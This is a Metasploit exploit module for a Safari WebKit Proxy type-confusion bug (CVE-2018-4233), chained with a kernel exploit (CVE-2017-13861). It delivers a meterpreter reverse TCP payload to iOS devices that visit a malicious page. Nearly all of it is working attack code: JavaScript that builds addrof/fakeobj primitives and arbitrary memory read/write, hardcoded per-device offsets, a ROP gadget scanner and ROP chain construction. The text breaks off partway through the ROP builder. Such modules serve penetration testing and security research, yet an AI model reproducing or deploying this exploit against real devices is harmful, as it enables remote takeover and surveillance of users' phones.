Path: blob/master/modules/exploits/apple_ios/browser/webkit_createthis.rb
19511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Remote::HttpServer1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Safari Webkit Proxy Object Type Confusion',17'Description' => %q{18This module exploits a type confusion bug in the Javascript Proxy object in19WebKit. The DFG JIT does not take into account that, through the use of a Proxy,20it is possible to run arbitrary JS code during the execution of a CreateThis21operation. This makes it possible to change the structure of e.g. an argument22without causing a bailout, leading to a type confusion (CVE-2018-4233).2324The type confusion leads to the ability to allocate fake Javascript objects,25as well as the ability to find the address in memory of a Javascript object.26This allows us to construct a fake JSCell object that can be used to read27and write arbitrary memory from Javascript. The module then uses a ROP chain28to write the first stage shellcode into executable memory within the Safari29process and kick off its execution.3031The first stage maps the second stage macho (containing CVE-2017-13861) into32executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake33exploit leads to a kernel task port (TFP0) that can read and write arbitrary34kernel memory. The processes credential and sandbox structure in the kernel35is overwritten and the meterpreter payloads code signature hash is added to36the kernels trust cache, allowing Safari to load and execute the (self-signed)37meterpreter payload.38},39'License' => MSF_LICENSE,40'Author' => [41'saelo',42'niklasb',43'Ian Beer',44'siguza',45],46'References' => [47['CVE', '2018-4233'],48['CVE', '2017-13861'],49['URL', 'https://github.com/saelo/cve-2018-4233'],50['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],51['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],52['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],53],54'Arch' => ARCH_AARCH64,55'Platform' => 'apple_ios',56'DefaultTarget' => 0,57'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },58'Targets' => [[ 'Automatic', {} ]],59'DisclosureDate' => '2018-03-15',60'Notes' => {61'Stability' => [ CRASH_SERVICE_DOWN ],62'SideEffects' => [ IOC_IN_LOGS ],63'Reliability' => [ UNRELIABLE_SESSION ]64}65)66)67register_advanced_options([68OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information in the exploit JavaScript', false]),69OptBool.new('DUMP_OFFSETS', [false, 'Show newly found offsets in a JavaScript prompt', false]),70])71end7273def payload_url74"tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"75end7677def get_version(user_agent)78if user_agent =~ /OS (.*?) like Mac OS X\)/79ios_version = Rex::Version.new(::Regexp.last_match(1).gsub('_', '.'))80return ios_version81end8283fail_with(Failure::NotVulnerable, 'Target is not vulnerable')84end8586def get_mem_rw_ios_1087%^88function get_mem_rw(stage1) {89var structs = [];90function sprayStructures() {91function randomString() {92return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)93}94for (var i = 0; i < 4096; i++) {95var a = new Float64Array(1);96a[randomString()] = 1337;97structs.push(a)98}99}100sprayStructures();101var hax = new Uint8Array(4096);102var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);103var container = {104jsCellHeader: jsCellHeader.asJSValue(),105butterfly: false,106vector: hax,107lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()108};109var address = Add(stage1.addrof(container), 16);110var fakearray = stage1.fakeobj(address);111while (!(fakearray instanceof Float64Array)) {112jsCellHeader.assignAdd(jsCellHeader, Int64.One);113container.jsCellHeader = jsCellHeader.asJSValue()114}115memory = {116read: function(addr, length) {117fakearray[2] = i2f(addr);118var a = new Array(length);119for (var i = 0; i < length; i++) a[i] = hax[i];120return a121},122readInt64: function(addr) {123return new Int64(this.read(addr, 8))124},125write: function(addr, data) {126fakearray[2] = i2f(addr);127for (var i = 0; i < data.length; i++) hax[i] = data[i]128},129writeInt64: function(addr, val) {130return this.write(addr, val.bytes())131},132};133var empty = {};134var header = memory.read(stage1.addrof(empty), 8);135memory.write(stage1.addrof(container), header);136var f64array = new Float64Array(8);137header = memory.read(stage1.addrof(f64array), 16);138memory.write(stage1.addrof(fakearray), header);139memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);140fakearray.container = container;141return memory;142}143^144end145146def get_mem_rw_ios_11147%^148function get_mem_rw(stage1) {149var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;150var structure_spray = []151for (var i = 0; i < 1000; ++i) {152var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}153ary['prop'+i] = 1154structure_spray.push(ary)155}156var manager = structure_spray[500]157var leak_addr = stage1.addrof(manager)158//print('leaking from: '+ hex(leak_addr))159function alloc_above_manager(expr) {160var res161do {162for (var i = 0; i < ALLOCS; ++i) {163structure_spray.push(eval(expr))164}165res = eval(expr)166} while (stage1.addrof(res) < leak_addr)167return res168}169var unboxed_size = 100170var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')171var boxed = alloc_above_manager('[{}]')172var victim = alloc_above_manager('[]')173// Will be stored out-of-line at butterfly - 0x10174victim.p0 = 0x1337175function victim_write(val) {176victim.p0 = val177}178function victim_read() {179return victim.p0180}181i32[0] = 0x200 // Structure ID182i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing183var outer = {184p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned185p1: f64[0],186p2: manager,187p3: 0xfffffff, // Butterfly indexing mask188}189var fake_addr = stage1.addrof(outer) + FPO + 0x8;190//print('fake obj @ ' + hex(fake_addr))191var unboxed_addr = stage1.addrof(unboxed)192var boxed_addr = stage1.addrof(boxed)193var victim_addr = stage1.addrof(victim)194//print('leak ' + hex(leak_addr)195//+ ' unboxed ' + hex(unboxed_addr)196//+ ' boxed ' + hex(boxed_addr)197//+ ' victim ' + hex(victim_addr))198var holder = {fake: {}}199holder.fake = stage1.fakeobj(fake_addr)200// From here on GC would be uncool201// Share a butterfly for easier boxing/unboxing202var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])203var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]204holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)205var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]206function set_victim_addr(where) {207holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)208}209function reset_victim_addr() {210holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly211}212var stage2 = {213addrof: function(victim) {214boxed[0] = victim215return f2i(unboxed[0])216},217fakeobj: function(addr) {218unboxed[0] = i2f(addr)219return boxed[0]220},221write64: function(where, what) {222set_victim_addr(where)223victim_write(this.fakeobj(what))224reset_victim_addr()225},226read64: function(where) {227set_victim_addr(where)228var res = this.addrof(victim_read())229reset_victim_addr()230return res;231},232write_non_zero: function(where, values) {233for (var i = 0; i < values.length; ++i) {234if (values[i] != 0)235this.write64(where + i*8, values[i])236}237},238readInt64: function(where) {239if (where instanceof Int64) {240where = Add(where, 0x10);241holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();242} else {243set_victim_addr(where);244}245boxed[0] = victim_read();246var res = f2i(unboxed[0]);247reset_victim_addr();248return new Int64(res);249},250read: function(addr, length) {251var address = new Int64(addr);252var a = new Array(length);253var i;254255for (i = 0; i + 8 < length; i += 8) {256v = this.readInt64(Add(address, i)).bytes()257for (var j = 0; j < 8; j++) {258a[i+j] = v[j];259}260}261262v = this.readInt64(Add(address, i)).bytes()263for (var j = i; j < length; j++) {264a[j] = v[j - i];265}266267return a268},269test: function() {270this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie271if (0xfff != this.read64(boxed_addr + 0x10)) {272fail(2)273}274},275}276// Test read/write277stage2.test()278return stage2;279}280^281end282283# rubocop:disable Metrics/MethodLength284def on_request_uri(cli, request)285return if request.uri =~ %r{/apple-touch-icon*}286return if request.uri =~ %r{/favicon*}287288if request.uri =~ %r{/payload10$*}289payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1290send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })291print_good('Sent sha1 iOS 10 payload')292return293end294295if request.uri =~ %r{/payload11$*}296payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib297send_response(cli, payload_data, { 'Content-Type' => 'application/octet-stream' })298print_good('Sent sha256 iOS 11 payload')299return300end301302user_agent = request['User-Agent']303print_status("Requesting #{request.uri} from #{user_agent}")304305if request.uri =~ %r{/exploit$}306loader_data = exploit_data('CVE-2017-13861', 'exploit')307srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)308config = [srvhost, srvport].pack('Nn') + payload_url309payload_url_index = loader_data.index('PAYLOAD_URL')310loader_data[payload_url_index, config.length] = config311print_good('Sent async_wake exploit')312send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })313return314end315316dump_offsets = ''317if datastore['DUMP_OFFSETS']318dump_offsets = %^319var offsetstr = uuid + " : { ";320var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",321"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];322for (var i = 0; i < offsetarray.length; i++) {323var offset = offsets[offsetarray[i]];324if (offset) {325var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");326offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";327}328}329offsetstr += "}, ";330prompt("offsets: ", offsetstr);331^332end333334version = get_version(user_agent)335ios_11 = (version >= Rex::Version.new('11.0.0'))336337get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10338339utils = exploit_data('javascript_utils', 'utils.js')340int64 = exploit_data('javascript_utils', 'int64.js')341342html = %^343<html>344<body>345<script>346347#{utils}348#{int64}349350print = alert;351ITERS = 1E4;352ALLOCS = 1E3;353354var conversion_buffer = new ArrayBuffer(8);355var f64 = new Float64Array(conversion_buffer);356var i32 = new Uint32Array(conversion_buffer);357var BASE32 = 0x100000000;358359function f2i(f) {360f64[0] = f;361return i32[0] + BASE32 * i32[1];362}363364function i2f(i) {365i32[0] = i % BASE32;366i32[1] = i / BASE32;367return f64[0];368}369370function hexit(x) {371if (x instanceof Int64) return x.toString();372if (x < 0) return "-" + hex(-x);373return "0x" + x.toString(16);374}375376function fail(x) {377print('FAIL ' + x);378location.reload();379throw null;380}381382counter = 0;383384// CVE-2018-4233385function trigger(constr, modify, res, val) {386return eval(`387var o = [13.37]388var Constructor${counter} = function(o) { ${constr} }389var hack = false390var Wrapper = new Proxy(Constructor${counter}, {391get: function() {392if (hack) {393${modify}394}395}396})397for (var i = 0; i < ITERS; ++i)398new Wrapper(o)399hack = true400var bar = new Wrapper(o)401${res}402`)403}404405var workbuf = new ArrayBuffer(0x1000000);406var payload = new Uint8Array(workbuf);407408function pwn() {409var stage1 = {410addrof: function(victim) {411return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))412},413fakeobj: function(addr) {414return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))415},416test: function() {417var addr = this.addrof({418a: 4919419});420var x = this.fakeobj(addr);421if (x.a != 4919) fail("stage1")422}423};424stage1.test();425426var stage2 = get_mem_rw(stage1);427var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : '0x18;'}428var memory = stage2;429memory.u32 = _u32;430431var wrapper = document.createElement("div");432var wrapper_addr = stage1.addrof(wrapper);433var el_addr = memory.readInt64(wrapper_addr + FPO);434var vtab = memory.readInt64(el_addr);435436var anchor = memory.readInt64(vtab);437var hdr = Sub(anchor, anchor.lo() & 0xfff);438var b = [];439while(true)440{441if (memory.readInt64(hdr).lo() == 4277009104) {442fail('WebCore ' + hdr + ' post spectre support coming soon');443}444if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))445{446break;447}448hdr = Sub(hdr, 0x1000);449}450451var base_seg = null;452var nsegs = memory.u32(Add(hdr, 0x14));453var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);454var segs = [];455for(var i = 0; i < nsegs; ++i)456{457var off = i * 0x20;458var seg =459{460addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),461size: new Int64(segdata.slice(off + 0x8, off + 0x10)),462fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),463maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),464initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))465};466segs.push(seg);467if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))468{469base_seg = seg;470}471}472if(base_seg == null)473{474fail("base_seg");475}476477var cache_slide = Sub(hdr, base_seg.addr);478var uuid = memory.readInt64(Add(hdr, 0x58)).lo();479var offset_cache = {480// iPod Touch 10.1.1481788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,482"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },483484// iPhone 5S 10.2.14853432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,486"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },487488// iPhone 6S 11.0.3489425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,490"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },491};492493var offsets = offset_cache[uuid];494if (offsets)495{496var k = Object.keys(offsets);497for(var i = 0; i < k.length; ++i)498{499var s = k[i];500offsets[s] = Add(offsets[s], cache_slide);501}502}503else504{505var syms = {};506var gadgets = {};507508for(var i = 0; i < segs.length; ++i)509{510segs[i].addr = Add(segs[i].addr, cache_slide);511}512var libs =513{514"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],515#{ if ios_11516'517"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],518"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],519'520else521'522"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],523"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],524"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],525'526end}527}528529#{ if ios_11530'531var opcodes = {532// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret533"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],534// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret535"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],536// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8537"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],538// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];539// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret540"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],541// mov x4, x20 ; blr x8542"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],543}544var opcode_libs = [545"/usr/lib/PN548.dylib", // dispatch, stackloader546"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader547];548549'550else551'552var opcodes = {553// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28554"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],555"dispatch": [556// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret557[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],558// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret559[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],560],561"stackloader": [562// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];563// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret564[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],565// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];566// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret567[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],568],569};570571var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];572'573end}574575var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));576var nimgs = memory.u32(Add(hdr, 0x1c));577for(var i = 0; i < nimgs; ++i)578{579var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));580var fn = function(i)581{582return memory.read(Add(straddr, i), 1)[0];583};584var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);585if(opcode_libs.some(lib => strcmp(fn, lib)))586{587var ncmds = memory.u32(Add(base, 0x10));588for(var j = 0, off = 0x20; j < ncmds; ++j)589{590var cmd = memory.u32(Add(base, off));591if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64592{593var nsects = memory.u32(Add(base, off + 0x40));594for(var k = 0, o = off + 0x48; k < nsects; ++k)595{596if(strcmp(memory.read(Add(base, o), 0x10), "__text"))597{598var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])599if (keys.length == 0) break;600601var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)602var size = memory.u32(Add(base, o + 0x28))603604// Copy the entire __text region into a Uint32Array for faster processing.605// Previously you could map a Uint32Array over the data, but on i7+ devices606// this caused access violations.607// Instead we read the entire region and copy it into a Uint32Array. The608// memory.read primitive has a weird limitation where it's only able to read609// up to 4096 bytes. to get around this we'll read multiple times and combine610// them into one.611612var allData = new Uint32Array(size / 4)613for (var r = 0; r < size; r += 4096) {614// Check to ensure we don't read out of the region we want615var qty = 4096616if (size - r < qty) {617qty = size - r618}619var data = memory.read(Add(addr, r), qty)620621// Data is an array of single bytes. This code takes four entries622// and converts them into a single 32-bit integer. It then adds it623// into the `allData` array at the given index624for (var h = 0; h < qty; h += 4) {625var fourBytes = b2u32(data.slice(h, h + 4))626allData[(r + h) / 4] = fourBytes627}628}629630// Loop through the entire data map looking for each gadget we need631for (var f = 0; f < size && keys.length > 0; f++) {632633// Check every gadget634for (var z = 0; z < keys.length; z++) {635var key = keys[z];636var opcode_list = opcodes[key];637for (var y = 0; y < opcode_list.length; y++) {638var opcode = opcode_list[y];639for (var t = 0; t < opcode.length; t++) {640var op = allData[f+t];641if (op == opcode[t]) {642if (t == opcode.length - 1) {643gadgets[key] = Add(addr, f*4);644keys.splice(z, 1);645z = keys.length;646break;647}648continue;649}650break;651}652}653}654}655656break;657}658o += 0x50;659}660break;661}662off += memory.u32(Add(base, off + 0x4));663}664continue;665}666var lookup = null;667for(var k = Object.keys(libs), j = 0; j < k.length; ++j)668{669if(strcmp(fn, k[j]))670{671lookup = libs[k[j]];672break;673}674}675if(lookup != null)676{677fsyms(memory, base, segs, lookup, syms);678}679}680681var vals = Object.keys(libs).map(function(key) {682return libs[key];683});684var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);685for(var i = 0; i < k.length; ++i)686{687var s = k[i];688if(syms[s] == null)689{690fail(s);691}692syms[s] = Add(syms[s], cache_slide);693}694k = Object.keys(opcodes);695for(var i = 0; i < k.length; ++i)696{697var s = k[i];698if(gadgets[s] == null)699{700fail(s);701}702}703704offsets = {}705offsets["regloader"] = gadgets["regloader"];706offsets["dispatch"] = gadgets["dispatch"];707offsets["stackloader"] = gadgets["stackloader"];708offsets["ldrx8"] = gadgets["ldrx8"];709offsets["movx4"] = gadgets["movx4"];710offsets["__longjmp"] = syms["__longjmp"];711offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];712offsets["__platform_memmove"] = syms["__platform_memmove"];713offsets["_dlopen"] = syms["_dlopen"];714offsets["_dlsym"] = syms["_dlsym"];715offsets["_mach_task_self_"] = syms["_mach_task_self_"];716offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];717offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];718offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];719720if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {721offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);722}723#{ if ios_11724'725if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {726offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);727}'728end}729730#{dump_offsets}731732}733734735var regloader = offsets["regloader"];736var dispatch = offsets["dispatch"];737var stackloader = offsets["stackloader"];738var longjmp = offsets["__longjmp"];739var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];740var memmove = offsets["__platform_memmove"];741var dlopen = offsets["_dlopen"];742var dlsym = offsets["_dlsym"];743var task_self = offsets["_mach_task_self_"]744var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];745var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];746747var ldrx8 = offsets["ldrx8"]; // might be null748var movx4 = offsets["movx4"]; // might be null749750var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());751var memPoolEnd = memory.readInt64(endOfFixedMem);752753var memPoolStart = Int64.Zero;754if (startOfFixedMem) {755memPoolStart = memory.readInt64(startOfFixedMem);756}757758var jitWriteSeparateHeaps = Int64.Zero;759if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {760jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);761}762763var shsz = new Int64("0x100000");764var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));765var codeAddr = Sub(memPoolEnd, shsz);766codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);767768memory.writeInt64(Add(vtab, 0x18), longjmp);769memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)770771var arrsz = 0x100000,772off = 0x1000;773var arr = new Uint32Array(arrsz);774var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));775776var pos = arrsz - off;777778var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {779x4 = x4 || Int64.Zero780781// in stackloader:782arr[pos++] = 0xdead0010; // unused783arr[pos++] = 0xdead0011; // unused784arr[pos++] = 0xdead0012; // unused785arr[pos++] = 0xdead0013; // unused786arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)787arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)788arr[pos++] = 0xdead0014; // x27 (unused)789arr[pos++] = 0xdead0015; // x27 (unused)790arr[pos++] = x4.lo(); // x26 == x4 (arg5)791arr[pos++] = x4.hi(); // x26 == x4 (arg5)792arr[pos++] = x3.lo(); // x25 == x3 (arg4)793arr[pos++] = x3.hi(); // x25 == x3 (arg4)794arr[pos++] = x2.lo(); // x24 == x2 (arg3)795arr[pos++] = x2.hi(); // x24 == x2 (arg3)796arr[pos++] = x0.lo(); // x23 == x0 (arg1)797arr[pos++] = x0.hi(); // x23 == x0 (arg1)798arr[pos++] = x1.lo(); // x22 == x1 (arg2)799arr[pos++] = x1.hi(); // x22 == x1 (arg2)800arr[pos++] = func.lo(); // x21 (func)801arr[pos++] = func.hi(); // x21 (func)802arr[pos++] = 0xdbad0018; // x20 (unused)803arr[pos++] = 0xdbad0019; // x20 (unused)804arr[pos++] = 0xdead001a; // x19 (unused)805arr[pos++] = 0xdead001b; // x19 (unused)806var tmppos = pos;807arr[pos++] = Add(stack, tmppos*4 + 0x40).lo(); // x29808arr[pos++] = Add(stack, tmppos*4 + 0x40).hi(); // x29809arr[pos++] = regloader.lo(); // x30 (first gadget)810arr[pos++] = regloader.hi(); // x30 (first gadget)811812// after dispatch:813arr[pos++] = 0xdead0020; // unused814arr[pos++] = 0xdead0021; // unused815arr[pos++] = 0xdead0022; // unused816arr[pos++] = 0xdead0023; // unused817arr[pos++] = 0xdead0024; // x22 (unused)818arr[pos++] = 0xdead0025; // x22 (unused)819arr[pos++] = 0xdead0026; // x21 (unused)820arr[pos++] = 0xdead0027; // x21 (unused)821arr[pos++] = 0xdead0028; // x20 (unused)822arr[pos++] = 0xdead0029; // x20 (unused)823arr[pos++] = 0xdead002a; // x19 (unused)824arr[pos++] = 0xdead002b; // x19 (unused)825tmppos = pos;826arr[pos++] = Add(stack, tmppos*4 + 0x70).lo(); // x29827arr[pos++] = Add(stack, tmppos*4 + 0x70).hi(); // x29828arr[pos++] = jump_to.lo(); // x30 (gadget)829arr[pos++] = jump_to.hi(); // x30 (gadget)830}831832var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {833//alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);834//x4 = x4 || Int64.One835// in stackloader:836arr[pos++] = 0xdead0010; // unused837arr[pos++] = 0xdead0011; // unused838arr[pos++] = 0xdead0012; // unused839arr[pos++] = 0xdead0013; // unused840arr[pos++] = 0xdead1101; // x28 (unused)841arr[pos++] = 0xdead1102; // x28 (unused)842arr[pos++] = 0xdead0014; // x27 == x6 (unused)843arr[pos++] = 0xdead0015; // x27 == x6 (unused)844arr[pos++] = 0xdead0016; // x26 (unused)845arr[pos++] = 0xdead0017; // x26 (unused)846arr[pos++] = x3.lo(); // x25 == x3 (arg4)847arr[pos++] = x3.hi(); // x25 == x3 (arg4)848arr[pos++] = x0.lo(); // x24 == x0 (arg1)849arr[pos++] = x0.hi(); // x24 == x0 (arg1)850arr[pos++] = x2.lo(); // x23 == x2 (arg3)851arr[pos++] = x2.hi(); // x23 == x2 (arg3)852arr[pos++] = x3.lo(); // x22 == x3 (arg4)853arr[pos++] = x3.hi(); // x22 == x3 (arg4)854arr[pos++] = func.lo(); // x21 (target for dispatch)855arr[pos++] = func.hi(); // x21 (target for dispatch)856arr[pos++] = 0xdead0018; // x20 (unused)857arr[pos++] = 0xdead0019; // x20 (unused)858var tmppos = pos;859arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])860arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])861arr[pos++] = 0xdead001c; // x29 (unused)862arr[pos++] = 0xdead001d; // x29 (unused)863arr[pos++] = ldrx8.lo(); // x30 (next 